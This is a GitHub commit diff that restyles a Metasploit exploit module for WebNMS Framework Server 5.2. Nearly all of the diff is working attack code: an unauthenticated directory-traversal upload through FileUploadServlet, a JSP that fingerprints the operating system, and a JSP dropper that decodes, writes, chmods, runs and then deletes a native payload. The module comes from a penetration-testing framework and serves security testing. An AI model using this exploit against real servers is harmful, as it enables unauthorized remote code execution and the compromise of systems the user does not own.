Skip to content

Commit 47f2cef

Browse files
committed
Syntax changes to humor rubocop and ruby style
1 parent eeba35f commit 47f2cef

File tree

1 file changed

+83
-74
lines changed

1 file changed

+83
-74
lines changed

modules/exploits/multi/http/webnms_file_upload.rb

Lines changed: 83 additions & 74 deletions
Original file line numberDiff line numberDiff line change
@@ -13,81 +13,91 @@ class MetasploitModule < Msf::Exploit::Remote
1313
include Msf::Exploit::EXE
1414

1515
def initialize(info = {})
16-
super(update_info(info,
17-
'Name' => 'WebNMS Framework Server Arbitrary File Upload',
18-
'Description' => %q{
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'WebNMS Framework Server Arbitrary File Upload',
20+
'Description' => %q(
1921
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
2022
unauthenticated user to upload text files by using a directory traversal attack
2123
on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and
2224
executes a malicious payload, achieving code execution under the user which the
2325
WebNMS server is running.
2426
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
2527
Windows and Linux.
26-
},
27-
'Author' =>
28-
[
29-
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
30-
],
31-
'License' => MSF_LICENSE,
32-
'References' =>
33-
[
34-
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
35-
],
36-
'DefaultOptions' => { 'WfsDelay' => 15 },
37-
'Privileged' => false,
38-
'Platform' => %w{ linux win },
39-
'Targets' =>
40-
[
41-
[ 'Automatic', { } ],
42-
[ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux',
43-
{
44-
'Platform' => 'linux',
45-
'Arch' => ARCH_X86
46-
}
28+
),
29+
'Author' =>
30+
[
31+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
4732
],
48-
[ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows',
49-
{
50-
'Platform' => 'win',
51-
'Arch' => ARCH_X86
52-
}
53-
]
54-
],
55-
'DefaultTarget' => 0,
56-
'DisclosureDate' => 'Jul 4 2016'))
33+
'License' => MSF_LICENSE,
34+
'References' =>
35+
[
36+
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
37+
],
38+
'DefaultOptions' => { 'WfsDelay' => 15 },
39+
'Privileged' => false,
40+
'Platform' => %w(linux win),
41+
'Targets' =>
42+
[
43+
[ 'Automatic', {} ],
44+
[
45+
'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux',
46+
{
47+
'Platform' => 'linux',
48+
'Arch' => ARCH_X86
49+
}
50+
],
51+
[
52+
'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows',
53+
{
54+
'Platform' => 'win',
55+
'Arch' => ARCH_X86
56+
}
57+
]
58+
],
59+
'DefaultTarget' => 0,
60+
'DisclosureDate' => 'Jul 4 2016'
61+
)
62+
)
5763

5864
register_options(
5965
[
6066
OptPort.new('RPORT', [true, 'The target port', 9090]),
61-
OptString.new('TARGETURI', [ true, "WebNMS path", '/'])
62-
], self.class)
67+
OptString.new('TARGETURI', [ true, "WebNMS path", '/'])
68+
],
69+
self.class
70+
)
6371
end
6472

65-
6673
def check
67-
res = send_request_cgi({
68-
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
69-
'method' => 'GET'
70-
})
74+
res = send_request_cgi(
75+
{
76+
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
77+
'method' => 'GET'
78+
}
79+
)
7180
if res && res.code == 405
7281
return Exploit::CheckCode::Detected
7382
else
7483
return Exploit::CheckCode::Unknown
7584
end
7685
end
7786

78-
7987
def upload_payload(payload, is_exploit)
8088
jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp'
8189
if is_exploit
8290
print_status("#{peer} - Uploading payload...")
8391
end
84-
res = send_request_cgi({
85-
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
86-
'method' => 'POST',
87-
'data' => payload.to_s,
88-
'ctype' => 'text/html',
89-
'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
90-
})
92+
res = send_request_cgi(
93+
{
94+
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
95+
'method' => 'POST',
96+
'data' => payload.to_s,
97+
'ctype' => 'text/html',
98+
'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
99+
}
100+
)
91101

92102
if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/
93103
if is_exploit
@@ -99,39 +109,39 @@ def upload_payload(payload, is_exploit)
99109
end
100110
end
101111

102-
103112
def pick_target
104113
return target if target.name != 'Automatic'
105114

106115
print_status("#{peer} - Determining target")
107-
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
116+
os_finder_payload = %{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
108117
jsp_name = upload_payload(os_finder_payload, false)
109118

110-
res = send_request_cgi({
111-
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
112-
'method' => 'GET'
113-
})
119+
res = send_request_cgi(
120+
{
121+
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
122+
'method' => 'GET'
123+
}
124+
)
114125

115126
if res && res.code == 200
116127
register_files_for_cleanup('jsp/' + jsp_name)
117-
if res.body.to_s =~ /Linux/
128+
if res.body.include? "Linux"
118129
return targets[1]
119-
elsif res.body.to_s =~ /Windows/
130+
elsif res.body.include? "Windows"
120131
return targets[2]
121132
end
122133
end
123134

124135
return nil
125136
end
126137

127-
128138
def generate_jsp_payload
129-
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
139+
opts = { arch: @my_target.arch, platform: @my_target.platform }
130140
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
131141
exe = generate_payload_exe(opts)
132142
base64_exe = Rex::Text.encode_base64(exe)
133143

134-
native_payload_name = rand_text_alpha(rand(6)+3)
144+
native_payload_name = rand_text_alpha(rand(6) + 3)
135145
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
136146

137147
var_raw = rand_text_alpha(rand(8) + 3)
@@ -144,13 +154,13 @@ def generate_jsp_payload
144154

145155
if @my_target['Platform'] == 'linux'
146156
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
147-
chmod = %Q|
157+
chmod = %|
148158
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
149159
Thread.sleep(200);
150160
|
151161

152162
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
153-
cleanup = %Q|
163+
cleanup = %|
154164
Thread.sleep(200);
155165
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
156166
|
@@ -159,7 +169,7 @@ def generate_jsp_payload
159169
cleanup = ''
160170
end
161171

162-
jsp = %Q|
172+
jsp = %|
163173
<%@page import="java.io.*"%>
164174
<%@page import="sun.misc.BASE64Decoder"%>
165175
<%
@@ -182,16 +192,13 @@ def generate_jsp_payload
182192
}
183193
%>
184194
|
185-
186-
jsp = jsp.gsub(/\n/, '')
187-
jsp = jsp.gsub(/\t/, '')
188-
jsp = jsp.gsub(/\x0d\x0a/, "")
189-
jsp = jsp.gsub(/\x0a/, "")
190-
195+
jsp.delete!("\n")
196+
jsp.delete!("\t")
197+
jsp.delete!("\x0d\x0a")
198+
jsp.delete!("\x0a")
191199
return jsp
192200
end
193201

194-
195202
def exploit
196203
@my_target = pick_target
197204
if @my_target.nil?
@@ -209,16 +216,18 @@ def exploit
209216

210217
jsp_payload = generate_jsp_payload
211218
jsp_name = upload_payload(jsp_payload, true)
212-
if jsp_name == nil
219+
if jsp_name.nil?
213220
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
214221
else
215222
register_files_for_cleanup('jsp/' + jsp_name)
216223
end
217224

218225
print_status("#{peer} - Executing payload...")
219-
send_request_cgi({
220-
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
221-
'method' => 'GET'
222-
})
226+
send_request_cgi(
227+
{
228+
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
229+
'method' => 'GET'
230+
}
231+
)
223232
end
224233
end

0 commit comments

Comments
 (0)